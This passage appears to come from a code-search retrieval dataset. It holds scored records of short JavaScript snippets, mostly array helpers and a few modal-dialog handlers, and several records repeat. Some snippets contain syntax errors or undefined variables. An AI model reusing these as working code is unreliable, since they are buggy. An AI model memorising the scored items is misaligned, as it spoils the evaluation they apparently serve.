"99fb59488755c063ac89b17321eb1ad0", "score": "0.5351869", "text": "function n$1g(t,n,e){return k$2(t.map(((r,t)=>n.apply(e,[r,t]))))}", "title": "" }, { "docid": "5d0e02c90b0d8844432cd1160620e874", "score": "0.5338599", "text": "function doThing(nums) {\n nums.sort()\n let result = []\n for (var i = 0; i < nums.length - 2; i++) {\n if (nums[i] > 0) {\n break\n }\n if (i > 0 && nums[i] === nums[i - 1]) {\n continue\n }\n let flagBegin = i\n let flagEnd = nums.length - 1\n while (flagBegin < flagEnd) {\n if (nums[i] === -(nums[flagBegin] + nums[flagEnd])) {\n let list = [nums[i], nums[flagBegin], nums[flagEnd]]\n result.push(list)\n flagBegin++\n flagEnd--\n } else if (nums[i] < -(nums[flagBegin] + nums[flagEnd])) {\n flagBegin++\n } else {\n flagEnd--\n }\n }\n\n }\n return result\n}", "title": "" }, { "docid": "d8c19af51c5e11d5ab794fbc8005b273", "score": "0.5337861", "text": "function range(x, y)\n{\n var arr = [];\n for (var i = x; i <= y; i++)\n {\n arr.push(i);\n }\n return arr;\n}", "title": "" }, { "docid": "2d43a600d0b637d92c4771123402d3bc", "score": "0.5333333", "text": "function devidArr(a) {\n var newArr;\n \n newArr = [];\n for(var i = 0; i<a.length; i++) {\n var current = a[i]/2 + 5;\n if(current === 0) {\n newArr[newArr.length] = 20;\n } else {\n newArr[newArr.length] = current;\n }\n\n } \n return newArr;\n}", "title": "" }, { "docid": "eca49b5196d863983253854e24b72df1", "score": "0.5330464", "text": "function n(t,e){for(;e+1<t.length;e++)t[e]=t[e+1];t.pop()}", "title": "" }, { "docid": "eca49b5196d863983253854e24b72df1", "score": "0.5330464", "text": "function n(t,e){for(;e+1<t.length;e++)t[e]=t[e+1];t.pop()}", "title": "" }, { "docid": "eca49b5196d863983253854e24b72df1", "score": "0.5330464", "text": "function n(t,e){for(;e+1<t.length;e++)t[e]=t[e+1];t.pop()}", "title": "" }, { "docid": "eca49b5196d863983253854e24b72df1", "score": "0.5330464", "text": "function n(t,e){for(;e+1<t.length;e++)t[e]=t[e+1];t.pop()}", "title": "" }, { "docid": "eca49b5196d863983253854e24b72df1", "score": "0.5330464", "text": "function n(t,e){for(;e+1<t.length;e++)t[e]=t[e+1];t.pop()}", "title": "" }, { "docid": "6d5be57111d36b4582a287a3baf8942b", "score": "0.53301924", "text": "function q10(array){\n \n for (var i=0; i<=(array.length/2);i++){\n var temp=array[i];\n array[i]=array[array.length-1-i];\n array[array.length-1-i]=temp;\n }\n return array;\n}", "title": "" }, { "docid": "2e930177dc6a135694ecd934d26868de", "score": "0.5328301", "text": "function f4(u) {\n var v = [];\n v[0] = u[0]*u[0] - u[1]*u[1];\n v[1] = 2*u[1]*u[0];\n return v;\n}", "title": "" }, { "docid": "1425ac9de6c46afef196fc478f03322a", "score": "0.5325332", "text": "function permutationEquation(p) {\n const arr = p.map((x, y) => p.findIndex(a => a == y + 1)).map(x => x + 1);\n const val = arr.map(x => p.findIndex(a => a == x)).map(x => x + 1);\n return val;\n}", "title": "" }, { "docid": "b8e1696b01bf26bf70636fd11ef3e83a", "score": "0.532395", "text": "function linspace(a,b,N) {\n var d = (b-a)/(N-1);\n var x = [];\n \n for (var i=0; i<N; i++) {\n x[i] = a + d*i;\n } \n \n return x;\n}", "title": "" }, { "docid": "0cdbdda4da92ef670a52c5548315b694", "score": "0.53219724", "text": "function neighboursProducts(arr) {\n let newArr = arr.map((elem, i) => {\n return arr[i - 1] * elem;\n });\n newArr.shift();\n return newArr;\n}", "title": "" }, { "docid": "a66c29a59496cfa72554b7d5a4821b4e", "score": "0.53155905", "text": "function i(t,e){for(;e+1<t.length;e++)t[e]=t[e+1];t.pop()}", "title": "" }, { "docid": "a66c29a59496cfa72554b7d5a4821b4e", "score": "0.53155905", "text": "function i(t,e){for(;e+1<t.length;e++)t[e]=t[e+1];t.pop()}", "title": "" }, { "docid": "a66c29a59496cfa72554b7d5a4821b4e", "score": "0.53155905", "text": "function i(t,e){for(;e+1<t.length;e++)t[e]=t[e+1];t.pop()}", "title": "" }, { "docid": "a66c29a59496cfa72554b7d5a4821b4e", "score": "0.53155905", "text": "function i(t,e){for(;e+1<t.length;e++)t[e]=t[e+1];t.pop()}", "title": "" }, { "docid": "a66c29a59496cfa72554b7d5a4821b4e", "score": "0.53155905", "text": "function i(t,e){for(;e+1<t.length;e++)t[e]=t[e+1];t.pop()}", "title": "" }, { "docid": "a66c29a59496cfa72554b7d5a4821b4e", "score": "0.53155905", "text": "function i(t,e){for(;e+1<t.length;e++)t[e]=t[e+1];t.pop()}", "title": "" }, { "docid": "a66c29a59496cfa72554b7d5a4821b4e", "score": "0.53155905", "text": "function i(t,e){for(;e+1<t.length;e++)t[e]=t[e+1];t.pop()}", "title": "" }, { "docid": "3a52fa7654db4c799d1c99566ac7895b", "score": "0.5314743", "text": "function foo2(x,y) {\n return [x + 1, y - 1];\n}", "title": "" }, { "docid": "d9f37e8c5f66286a52c269e368c9dec8", "score": "0.5299229", "text": "function s(nums, target) {\n let l = 0;\n let r = nums.length - 1;\n while (l <= r) {\n let m = Math.floor((l + r) / 2);\n console.log({ l, m, r });\n if (nums[m] === target) {\n let n = m;\n while (nums[m - 1] === target) m--;\n while (nums[n + 1] === target) n++;\n return [m, n];\n }\n if (nums[m] < target) {\n l = m + 1;\n } else {\n r = m - 1;\n }\n }\n return [-1, -1];\n}", "title": "" }, { "docid": "dcf9b2d2e2aa8a28d1763a71d59d05bb", "score": "0.5296312", "text": "function g5() {\n var _ref = _sliced_to_array(arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : [], 2);\n _ref[0], _ref[1];\n}", "title": "" }, { "docid": "fc77f4af4e51615f3ce57b1358e4e5fc", "score": "0.5285897", "text": "function rangeOfNumbers(startNum, endNum) { // assuming startNum is less than or equal to the endNum\n if (startNum === endNum) {\n return [startNum];\n } else {\n // let arr = rangeOfNumbers(startNum+1, endNum); // add to the end of the element\n let arr = rangeOfNumbers(startNum, endNum-1);\n arr.push(endNum);\n return arr;\n }\n}", "title": "" }, { "docid": "b54fcded8ee8cc6bd383f6408fffc347", "score": "0.5280644", "text": "function solve(arr) {\n // ((arr.map {|n| n * -1}) - arr).first * -1\n}", "title": "" }, { "docid": "c195223a883b4fdd044bec0f20beb78c", "score": "0.5278416", "text": "function D(a){var b=[];return a.forEach(function(a){b.push(a.id)}),b}", "title": "" }, { "docid": "8a4ccf4b40ea4bed4185c48f6d5575a8", "score": "0.52686185", "text": "function g3() {\n var _ref = _sliced_to_array(arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : [\n 0,\n 0\n ], 2);\n _ref[0], _ref[1];\n}", "title": "" }, { "docid": "f68457d7d735dbfcf493b5bd97501ee0", "score": "0.52655584", "text": "function range(start, end){\n var newArray = [];\n var arrayLen = end - start;\n\tfor(var i = start; i<= arrayLen; i++){\n\t\t//newArray[i] = start + i;\n\t\tnewArray.push(i);\n\t}\n return newArray;\n}", "title": "" }, { "docid": "b60b718bc6ed90a2380ea68bfb0886d2", "score": "0.5262937", "text": "function mangso() {\n return [1, 2, 3, 4, 5];\n}", "title": "" }, { "docid": "4378ed95923921e9327ae617521017e8", "score": "0.52608544", "text": "static without() {\r\n let arr1 = arguments[0]\r\n let arr2 = []\r\n let arr3 = []\r\n for (let i=1;i<arguments.length;i++)\r\n arr2.push(arguments[i])\r\n for (let i=0;i<arr1.length;i++) {\r\n if (!(arr2.indexOf(arr1[i]) >= 0)) {\r\n arr3.push(arr1[i])\r\n }\r\n }\r\n return arr3\r\n }", "title": "" }, { "docid": "240d6b274eb6e1edd013879512384cd4", "score": "0.5260682", "text": "function rangeOfNumbers(startNum, endNum) {\n if (endNum - startNum === 0){\n return [startNum];\n} else {\n var numbers = rangeOfNumbers(startNum, endNum -1);\n numbers.push(endNum);\n return numbers;\n}}", "title": "" }, { "docid": "0142c91eaec608c7eb8deb4537828f34", "score": "0.52606463", "text": "function a(t,i){for(;i+1<t.length;i++)t[i]=t[i+1];t.pop()}", "title": "" }, { "docid": "750e16c8d9bbbe0ddf646e0aa6f8d32d", "score": "0.5260322", "text": "function p(t,i){for(;i+1<t.length;i++)t[i]=t[i+1];t.pop()}", "title": "" }, { "docid": "29061f388a7326ed2bcd3369e6c70136", "score": "0.525242", "text": "function getSideIndicies(){\n let base = 0;\n let top = RES + 1;\n let inds = [];\n\n for(let i = 0; i < RES; ++i){\n\n //first half of side\n inds.push(base);\n inds.push(base + 1);\n inds.push(top);\n\n //second half of side;\n inds.push(top);\n inds.push(top + 1);\n inds.push(base + 1);\n \n base++;\n top++;\n }\n return inds;\n \n}", "title": "" }, { "docid": "957ed648fef96a7f9a892a1699ac2ea1", "score": "0.5251171", "text": "function fpb(angka1, angka2) {\n // you can only write your code here!\n var result = []\n for (var i = 0; i < angka1 ; i++) {\n if (angka1 % i === 0 && angka2 % i === 0) {\n result.push(i)\n }\n }\n return result[result.length-1]\n}", "title": "" }, { "docid": "35ac1bb6233eef073371bc39fcc56150", "score": "0.5244833", "text": "function rebase(v, P) {\n return [\n\tP[0]*v[0] + P[1]*v[1],\n\tP[2]*v[0] + P[3]*v[1],\n ];\n}", "title": "" }, { "docid": "9db9d74d01dce51e123bc1ac6500693d", "score": "0.5238154", "text": "function rangeBetwee(start, end)\n{\n\n\t\tif (start > end) {\n\t\t\tvar arr = new Array(start - end + 1);\n\t\t\tfor (var i = 0; i < arr.length; i++, start--) {\n\t\t\t\tresarrult[i] = start;\n\t\t\t}\n\t\t\treturn arr;\n\t\t}\n else\n {\n\t\t\tvar arro = new Array(end-start+1);\n\n\t\tfor (var j = 0; j < arro.length; j++, start++)\n {\n\t\t\tarro[j] = start;\n\t\t}\n \t\treturn arro;\n\t\t}\n\t}", "title": "" }, { "docid": "2df6d609658c73c25a6222e9b8b4c731", "score": "0.52366096", "text": "function range(start, end, increment = start < end ? 1 : -1){\n let numbers = [];\n if(increment > 0) {\n for (let i = start; i <= end; i += increment) numbers.push(i);\n }else{\n for (let i = start; i >= end; i += increment) numbers.push(i);\n }\n return numbers;\n}", "title": "" }, { "docid": "838ca5799aeb66a0d886482fb94e8576", "score": "0.5235492", "text": "parent(i) { return (i - 1) / 2; }", "title": "" }, { "docid": "91e0fab61e025f50acd365a3875621a9", "score": "0.52317935", "text": "function rangeOld(start, end) {\n\t\n\trangeArray = [];\n\tfor (var i = start; i < end + 1; i++) {\n\t\trangeArray.push(i);\n\t}\n\treturn rangeArray;\n}", "title": "" }, { "docid": "677909d39a453ef6decfa2ae074f16ed", "score": "0.52202064", "text": "function gi(e,t){for(var n=[],r=0;r<t;r++)n[r]=[];for(var o=0,i=e;o<i.length;o++){var a=i[o];n[a.row].push(a)}return n}", "title": "" }, { "docid": "c2046121fe287d5ba967ccb67e90fdb9", "score": "0.5220097", "text": "function stray(numbers) { \n let same = [];\n let dif = [];\n \n numbers.map(i => i == numbers[0] ? same.push(i) : dif.push(i))\n \n return same.length > dif.length ? dif[0] : same[0]\n }", "title": "" }, { "docid": "a57d97760d8f370b1ad26d8bd20befdb", "score": "0.52187693", "text": "function getAllNumbers(arr) {\n let largerNumber = Math.max(arr[0], arr[1]);\n let smallerNumber = Math.min(arr[0], arr[1]);\n let range = [];\n for (let i = smallerNumber; i <= largerNumber; i++) {\n range.push(i);\n }\n return range;\n }", "title": "" }, { "docid": "98daf1a1087812805d88999e981f7f63", "score": "0.5218593", "text": "function solution(A) {\n // write your code in JavaScript (Node.js 8.9.4)\n let occured = new Set()\n for(i of A)\n if(occured.has(i))\n occured.delete(i)\n else\n occured.add(i)\n return [...occured][0]\n}", "title": "" }, { "docid": "4ec505480738818d3696514cecd9eeb1", "score": "0.5214758", "text": "function masterArray(beginning, end){\n let array = [];\n for (let i = beginning; i <= end; i++) {\n array.push(i);\n }\n return array;\n }", "title": "" }, { "docid": "796a0ebb3bf870bc97c0e1344eda7fd7", "score": "0.5213709", "text": "function range(start, end) {\n // loop trough the range and add them in the array\n for (let i = 1; i <= end; i++) {\n array.push(i);\n }\n // return the result\n return array;\n}", "title": "" }, { "docid": "0f934a214ba2fe7d7a5024a24620939d", "score": "0.52130365", "text": "function rangeOfNumbers(startNum, endNum) {\n return startNum === endNum ? [startNum] :\n [...rangeOfNumbers(startNum, endNum - 1), endNum]\n }", "title": "" }, { "docid": "39cdcdbf5954f816653f0fab3bf1cb92", "score": "0.5208694", "text": "function twoSum() {\n let temp=[]\n for (let i = 0; i < nums.length; i++){\n let dif = target - nums[i] // i为当前值\n if (temp[dif] != undefined) {\n return [temp[dif],i]\n }\n temp[nums[i]]=i\n }\n \n}", "title": "" }, { "docid": "23bb62bc245bcaf25d16ecebfee27d73", "score": "0.52083296", "text": "function r(e){for(var t=-1,n=e?e.length:0,i=[];++t<n;){var r=e[t];r&&i.push(r)}return i}", "title": "" }, { "docid": "518312a19e60b8828896a3d7579a98ed", "score": "0.5200056", "text": "function range(start, end, step) { //step = 1 \n // Your code here\n if(step > 0){\n var array = []; \n for (var i = start, i<end; step++){\n array.push(i); \n }\n\n return array; \n}", "title": "" }, { "docid": "2c69aae6462ac817e2ce93a3ac1a0476", "score": "0.5197028", "text": "function generateRange(min, max, step){\nlet array = []\n// array.push(min)\n for (let i=0; i<=max; i+=step){\n array.push(min+i)\n if (array.slice(-1)[0]> max){\n array.pop()\n }\n }\nreturn array\n}", "title": "" }, { "docid": "77d5f5b57cfdeabe7680815a0eadc493", "score": "0.5195044", "text": "function multipleOfIndex(arr) {\n// Create variable to serve as placeholder of new array. \n let placeHolder = [];\n// Create for loop that runs through length of array. \n for (let i = 1; i < arr.length; i++) {\n// Create condition that if value of element divided by its index = 0, push value into new array \n if (arr[i] % i == 0) {\n placeHolder.push(arr[i]);\n }\n }\n// Return new array\n return placeHolder;\n }", "title": "" }, { "docid": "7f2a420abd19d7cf8be08af8fcafa40e", "score": "0.51921165", "text": "function multiFour(arr) {\n return arr.filter(elem => elem % 4 === 0);\n}", "title": "" }, { "docid": "1271c437a02a0d44b39b284814f8bace", "score": "0.51910484", "text": "function gcd(nums){\n while(nums.length>1){\n var d = gcd2(nums[0], nums[1]);\n nums = [d].concat(nums.slice(2));\n }\n return nums[0]\n}", "title": "" }, { "docid": "1e6e2e6f9fcac9ba3134a45f6eae9e13", "score": "0.5190816", "text": "function printArrayPairs(){\n let newArray = [];\n for ( indice of arrayOriginal) {\n if(indice % 2 === 0){\n newArray.push(indice);\n }\n }\n console.log(newArray)\n}", "title": "" }, { "docid": "585f37389b8d00dd7df6d900e78ffcda", "score": "0.5189803", "text": "function n$1(){return [0,0]}", "title": "" }, { "docid": "6e86025cf9bf4cba6b046dcf29900d1f", "score": "0.51876414", "text": "function findDiff (arr){\n for (x = 1 ; x <= arr.length ; x++){\n return Math.max(...arr) - Math.min(...arr);\n }\n}", "title": "" }, { "docid": "f492e36c9671f887fa79681267e79770", "score": "0.51864237", "text": "function simplify(index) {\n var cd = gcd(index[0], index[1]);\n return [index[0] / cd, index[1] / cd];\n}", "title": "" }, { "docid": "78d3a131059cc847a2ae8e28d5a1c1f4", "score": "0.51849157", "text": "function K(a){var b=[];return a.forEach(function(a){b.push(a.id)}),b}", "title": "" }, { "docid": "d641b892d31abe6ac3baa9ed8c504b15", "score": "0.51809007", "text": "function C(a){var b=[];return a.forEach(function(a){b.push(a.id)}),b}", "title": "" }, { "docid": "322f78c5012a3cec8b3ac90731962611", "score": "0.51767683", "text": "function n$r(e,t){return e.length=0,t.forEach((t=>e.push(t))),e}", "title": "" } ]
db710b48dd3b039edd0c9c07f0ac1340
OPEN MODAL ADD SUBJECT
[ { "docid": "3d1e21d7cc380747461410e8646fd102", "score": "0.0", "text": "function openModalAddSubject(tableId) {\n window.currentTable = tableId;\n\n document.getElementById(\"coursenameinput\").value = \"\";\n\n document.getElementById(\"coursecodeinput\").value = \"\";\n\n document.getElementById(\"credithourinput\").value = \"\";\n\n setOptionToCurrent();\n\n console.log(\"Debug id:\" + window.currentTable);\n\n // function cancelDropDown(ev) {\n // ev.preventDefault();\n // }\n\n // document.getElementById(\"selectElement\").addEventListener(\"mousedown\", cancelDropDown, false);\n\n document.getElementById(\"semoption\").disabled = \"true\";\n\n openFAB();\n}", "title": "" } ]
[ { "docid": "49e0ac8a9df7c85b3a15ac2706473e5f", "score": "0.64424056", "text": "navigateAdd() {\n this.channel.trigger('show:form');\n }", "title": "" }, { "docid": "1188913493fdce5feec8ae65ea873982", "score": "0.6441771", "text": "function facyadd_pro(){\n $.fancybox.open({\n 'type' : 'inline'\n ,'src' : \"#modal_conceptos\"\n ,'modal': true\n });\n }", "title": "" }, { "docid": "34d864babbe11b127716478b91fbea26", "score": "0.6269932", "text": "addItem(){\n\t\tthis.showAddItemModal = true;\n\t}", "title": "" }, { "docid": "ff7ae30cb36a022558374aeb3cc225b4", "score": "0.62049896", "text": "function help_add() {\n\n $('#help_add').modal('show');\n}", "title": "" }, { "docid": "8077e03b4bf60fcd6642da7e6682a282", "score": "0.60535866", "text": "click(){\n\t\t\t\tcreateAddWindow();\n\t\t\t}", "title": "" }, { "docid": "e864d36aebf4357639d7237f00ad964d", "score": "0.6052176", "text": "add(itemName, componentName, props) {\n self.modals.push({\n itemName,\n componentName,\n props\n });\n }", "title": "" }, { "docid": "ab15bfb79cdbc005da183c5da0d04862", "score": "0.6007638", "text": "async function openEditAdd() {\n\n }", "title": "" }, { "docid": "5e5a2299e4f505e81c0349b0667d05e1", "score": "0.59391564", "text": "openAddModal(){\n document.getElementById(\"add_modal\").style.display = \"block\";\n }", "title": "" }, { "docid": "b5adcaddc46820ccb1f46ac6af5bf7ea", "score": "0.59155864", "text": "function InsertAudio() {\r\n\r\n var options = SP.UI.$create_DialogOptions();\r\n options.title = \"Please input a text and address\";\r\n options.width = 400;\r\n options.height = 200;\r\n options.y = getTop(200);\r\n options.args = getSelectedText();\r\n options.url = \"/_layouts/BeenJammin.SharePoint.CustomRibbonActions/EmbededAudio.aspx\";\r\n options.dialogReturnValueCallback = Function.createDelegate(null, LinkCloseCallback);\r\n SP.UI.ModalDialog.showModalDialog(options);\r\n\r\n}", "title": "" }, { "docid": "556fa9effb330a9ab464f74a7991248c", "score": "0.5893741", "text": "function addButton() {\r\n\ttrace(\"addButton()\");\r\n\tvar href=\"\";\r\n\tvar links=new Array();\r\n\t\r\n\tswitch(GM_getValue(\"popup_mode\", 1)) {\r\n\t\tcase 0: // popup closed\r\n\t\tcase 1: // in normal mode\r\n\t\t\tlinks=getSelectLink(eLinks);\r\n\t\t\tbreak;\r\n\t\tcase 2: // in edit mode\r\n\t\t\tvar txt = document.getElementById(\"editbox\");\r\n\t\t\tlinks=txt.value.split('\\n');\r\n\t\t\tbreak;\r\n\t\tdefault:\r\n\t\t\ttrace(\"ERROR: popup_mode=\" + GM_getValue(\"popup_mode\", 1));\r\n\t\t\talert(\"Error !!! popup_mode unknown.\");\r\n\t\t\treturn;\r\n\t}\r\n\r\n\thref = getAddLink(links);\r\n\ttrace(\"href=\"+href);\r\n\t\r\n\tif(ed2kDlMethod=='local') {\r\n\t\tfor (var i=0; i<links.length; i++) {\r\n\t\t\twindow.location.replace(links[i]);\r\n\t\t}\r\n\t}\r\n\telse {\r\n\t\tvar e_win = window.open(href, 'emule');\r\n\t\te_win.blur();\r\n\t}\r\n\t\r\n}", "title": "" }, { "docid": "eda684bbed4edce58e90a7a525822809", "score": "0.5870972", "text": "function doModalContact() {\n\t customModalBox.htmlBox('yt-ContactContent', '', 'Contact'); \n\t $('mb_close_link').addEvent('click', function() {\n\t\t $('yt-ContactContent').injectInside(document.forms[0]);\n\t });\n\t\n}", "title": "" }, { "docid": "f636911a7348d9a533d56b8fdd314afa", "score": "0.58623576", "text": "function onAddButtonClick() {\n addModelModal.style.display = \"block\";\n}", "title": "" }, { "docid": "1caa888efd2c334a6f9b543011443277", "score": "0.5857304", "text": "function show_addprogram() {\n $('#addprogram').modal('show')\n}", "title": "" }, { "docid": "af7c1d7327f02551634cc3f76a4a7b3e", "score": "0.5824441", "text": "function OpenAddProjectModal() {\n ProjectAddEditShowHide(false);\n clearProject();\n $('#addProject').modal('show');\n}", "title": "" }, { "docid": "5decde7bf6098f78c990847d5aaa058d", "score": "0.58005977", "text": "showAddModal() {\n this.props.mappedshowAddModal();\n }", "title": "" }, { "docid": "09131e5fd52eb8442b02231cae89abf5", "score": "0.5789367", "text": "function addNewItem() { switchToView('edit-form'); }", "title": "" }, { "docid": "c32c728f5fed8baf70258b2f91576161", "score": "0.5781935", "text": "function massAdd() {\n\tvar button = $(this),\n\ttype = button.attr('data-type'),\n\tid = button.attr('data-id'),\n\tname = button.attr('data-name');\n\tif (type == 'site') {\n\t\topenMassAddSiteDialog(id, name);\n\t} else {\n\t\topenMassAddUserDialog(id, name);\n\t}\n}", "title": "" }, { "docid": "c28b521a50a48aa9c1fd270b8063c46b", "score": "0.57809836", "text": "function addNewModule() {\n\tcountOfModules++;\n\tvar modulename = document.getElementById(\"module_name\").value;\n\tconsole.log(\"Created Module : \"+modulename);\n\tconsole.log(\"Number of existing modules \"+countOfModules);\n\tvar node = '<div class = \"module\" id=\"Module'+countOfModules+'\" onClick=openModuleDetails(\"'+modulename+'\")><div class=\"moduletitle\"><p id = \"ModuleP'+countOfModules+'\">'+modulename+'</p></div><div class=\"modulePrecentage\"><p>69%</p></div></div>';\n\tdocument.getElementById('module_elements').innerHTML += node;\n\n\t//Close popupup and save the modules\n\tclosepopup();\n\tsaveModules();\n\n}", "title": "" }, { "docid": "f066019fc62c312d2bb2c7a14103d80e", "score": "0.5773427", "text": "function OpenNewHumanResourceModal() {\n NewHumanResourceAddEditShowHide(false);\n clearHumanResource();\n $('#newResourceModal').modal('show');\n}", "title": "" }, { "docid": "a0d34fce5a56737f6eff649d264f74cd", "score": "0.5766621", "text": "function ouvrir() {\n creationModal();\n }", "title": "" }, { "docid": "38ce5fec8c2e28ba467811a83c0ce2e9", "score": "0.5731902", "text": "function openModal() {\n getRecipeDetails();\n handleShow();\n }", "title": "" }, { "docid": "283c43ff46dfe02a44977f7b288fa543", "score": "0.5721448", "text": "function showExams(objTextBox, objLabel)\r\n{\r\n objExamInvokerTextBox = objTextBox;\r\n objExamInvokerLabel = objLabel;\r\n \r\n openModalDialog('../popup/cm_exam_search_listing.htm',screen.width-50,'400');\r\n return;\r\n}", "title": "" }, { "docid": "09ddb49b6232e6d7a8a555d1dd0d1b3c", "score": "0.57062113", "text": "function addNote()\n{\n\tcreatePop(\"Add Note\", submitNote,{})\n}", "title": "" }, { "docid": "7839eb9a1b4095481699c82716ca02c2", "score": "0.56981224", "text": "function open_add_plant_modal(open) {\n\t$(\"#add-plant\").css(\"display\", open ? \"block\" : \"none\");\n}", "title": "" }, { "docid": "fcb68ca14e6613b672d6020bd2c621a6", "score": "0.56900203", "text": "function doModalContact() {\n\tcustomModalBox.htmlBox('yt-ContactContent', '', 'Contact'); \n\t$('mb_close_link').addEvent('click', function() {\n\t\t$('yt-ContactContent').injectInside(document.forms[0]);\n\t});\n}", "title": "" }, { "docid": "f5e2f7220c82f8b8eb94a1545c74055a", "score": "0.5685029", "text": "onBtnNew(){\n this._doOpenModalPost();\n }", "title": "" }, { "docid": "04a6b90f5abd6b93279cc4159c0b2fc1", "score": "0.565116", "text": "function addstaff(){\r\n resetModal();\r\n help = true;\r\n $('#modal_add').text(\"Add Now !\");\r\n $('.modal-title').text(\"Add New Staff Infomation\");\r\n $('#modal_id').attr('disabled',false);\r\n}", "title": "" }, { "docid": "138a2cebfc7d4e0fb1503f70a99349e0", "score": "0.5635255", "text": "function addTrack(id) {\n State.Adding.Set(true);\n document.getElementById('edit_input').value = \"\";\n if (id == 'new') {\n State.Editing.Set(Data.Tracks.length+1);\n }\n else {\n State.Editing.Set(id);\n }\n DOM.Modal.Open('edit_modal');\n document.getElementById('edit_input').focus();\n}", "title": "" }, { "docid": "71791b3e9a050f6f1af281377176476e", "score": "0.56046206", "text": "async function presentAddFeedModal( langs_data ) {\n lang_manually_selected = false;\n\n // create the modal with the `modal-page` component\n $doc.trigger('open-modal', [\n await modalController.create({\n component: 'modal-add-feed',\n componentProps: {\n 'langs' : langs_data\n },\n }),\n function() {\n setTimeout(function() {\n $('#feed_url')[0].setFocus();\n }, 500);\n }\n ]);\n }", "title": "" }, { "docid": "0f5072e3476f2c0f7381c49532418763", "score": "0.5602427", "text": "function add(event) {\n event.preventDefault();\n // clear inputs set button\n $('#bomForm input').each(function (index, val) {\n $(this).val('');\n });\n $post.prop(\"hidden\", false);\n $put.prop(\"hidden\", true);\n // set title\n $('#modalTitle').text(\"Add New bom\");\n // spawn modal\n $('#formModal').modal();\n}", "title": "" }, { "docid": "6a82bbb15a6a00b329b7de39a35ca03c", "score": "0.5580926", "text": "function openRosterAdd() {\n\t\t\tvar btnGrp = me.$rosterAddNewContainer.find('.btn-group');\n\t\t\tif ($('#cancelButton').length == 0) {\n\t\t\t\tvar cancelButton = $(\"<input/>\", {\n\t\t\t\t\t\"class\" : \"cancel btn btn-default\",\n\t\t\t\t\t\"type\" : \"button\",\n\t\t\t\t\t\"id\" : \"cancelButton\",\n\t\t\t\t\t\"click\" : me.rosterCancelAction,\n\t\t\t\t\t\"value\" : ap.core_prompts[\"action.Cancel\"]\n\t\t\t\t});\n\n\t\t\t\tbtnGrp.append(cancelButton);\n\t\t\t\tme.$rosterAddNewContainer.css(\"display\", 'block');\n\t\t\t\tme.$mainButtonContainer.css(\"display\", 'none');\n\t\t\t\t;\n\n\t\t\t\t$('#rosterAddNewBtn').remove();\n\t\t\t\t$('#rosterDownFillEntitiesBtn').remove();\n\t\t\t\tme.focusOnFirstField(true);\n\t\t\t\tpage.manageTabIndex();\n\n\t\t\t\tforceIEtoRepaintFooter();\n\t\t\t}\n\t\t\tif (me.activeRosterEntries < me.minEntries) {\n\t\t\t\tbtnGrp.addClass('single-button');\n\t\t\t} else {\n\t\t\t\tbtnGrp.removeClass('single-button');\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "d7046e576bf751987819ac26f70f0d4d", "score": "0.5574862", "text": "function openAddPromoModal(id) {\n\t$('#serviceId').val(id);\n\taddModal.style.display = \"block\";\n}", "title": "" }, { "docid": "95d2e4a1ce56c9326e90b9a480039489", "score": "0.556508", "text": "function openNameDetail(id) {\n Modal.editArtist(id);\n }", "title": "" }, { "docid": "a6e4f2208fe265fe354343bff182ec7e", "score": "0.5564572", "text": "function initAddSubjectButtonsAndDialogs() {\n $(\".add_subj_btn\").each(function() {\n var dlg = $(\".add_subj_dialog\");\n\n $(this).on('click', function() {\n dlg.dialog('open');\n });\n });\n}", "title": "" }, { "docid": "df15c3285acc1246e543d93db384a09a", "score": "0.55583155", "text": "ClickOnAddScene(){\n // Load add Scene Config\n this._Scene.RenderAddModScene(this._DeviceConteneur, this._DeviceConfig.Electrovannes)\n }", "title": "" }, { "docid": "a11f20e3043b832e38d96cd7e772137b", "score": "0.55578077", "text": "function showPopupFormular() {\r\n $(\"#\" + global.Element.PopupFormular).modal(\"show\");\r\n }", "title": "" }, { "docid": "7f5a9bb01bbac4c4d9e883c542215bd0", "score": "0.55527306", "text": "_addHandlerShowWindowAddRecipe() {\n this._buttonOpen.addEventListener('click', this.toggleWindow.bind(this));\n }", "title": "" }, { "docid": "dd0ca83e9537e07ed55371df6cf7b717", "score": "0.5551958", "text": "function openAddAddonDialog(){\r\n\t\t\r\n\t\tjQuery(\".dialog_addon_input\").val(\"\");\r\n\t\t\r\n\t\tvar options = {};\r\n\t\toptions[\"no_close_button\"] = true;\r\n\t\toptions[\"minWidth\"] = 400;\r\n\t\t\r\n\t\tg_ucAdmin.openCommonDialog(\"#dialog_add_addon\", function(){\r\n\t\t\tjQuery(\"#dialog_add_addon_title\").select();\t\t\t\r\n\t\t}, options);\r\n\t\t\r\n\t}", "title": "" }, { "docid": "8a03f0e03b3d8e2e108dbe8b0cf0f632", "score": "0.55509657", "text": "'shown.bs.modal #addCat'(e, i) {\n $('#addCat #cat').focus();\n }", "title": "" }, { "docid": "f81996a24f81608ffdada1f25b267e6b", "score": "0.55423015", "text": "handleAddGenre()\n {\n document.getElementById('modalGenreTitle').innerText = \"Pridajte nový žáner\";\n document.getElementById('modalGenreName').value = \"\";\n document.getElementById('modalGenreErrors').classList.add(\"d-none\");\n let $button = $('#modalGenreButton');\n $button.text(\"Pridaj\");\n $('#modalGenre').modal('show');\n\n let self = this;\n $button.off();\n $button.on('click', () =>\n {\n name = $('#modalGenreName').val();\n self.modifyGenre(null, name);\n });\n }", "title": "" }, { "docid": "544acc5776e6f19da575258a1cf886c4", "score": "0.5539607", "text": "function showDialogAdd() {\n var title = 'Add Parts to Locations'; \n var templateName = 'addUi'; \n var width = 600; \n \n // custom function to insert part data into the dialog box. For code modularity and simplicity\n createDialogWithPartData(title,templateName,width);\n}", "title": "" }, { "docid": "06a46c8a8cf99d83bb41e2bba3775947", "score": "0.5531073", "text": "openRecurrenceModal() {\n console.log('Open Recurrence Modal');\n }", "title": "" }, { "docid": "06a46c8a8cf99d83bb41e2bba3775947", "score": "0.5531073", "text": "openRecurrenceModal() {\n console.log('Open Recurrence Modal');\n }", "title": "" }, { "docid": "51fc10121e9171fe2b4ebec36b2dcc81", "score": "0.5522159", "text": "function openModalEdit() {\n modalEdit.style.display = \"block\"\n }", "title": "" }, { "docid": "3d41d3013ead51c6bab096ffbf347b6b", "score": "0.5518462", "text": "function add_player_dialog()\n\t{\n\t\t$('#add_player').dialog();\n\t}", "title": "" }, { "docid": "a07b64695292275a5ba5ab85676086d3", "score": "0.5513558", "text": "function openAudioDialog(title, onInsert, isMultiple){\r\n\t\t\r\n\t\topenNewMediaDialog(title, onInsert, isMultiple, 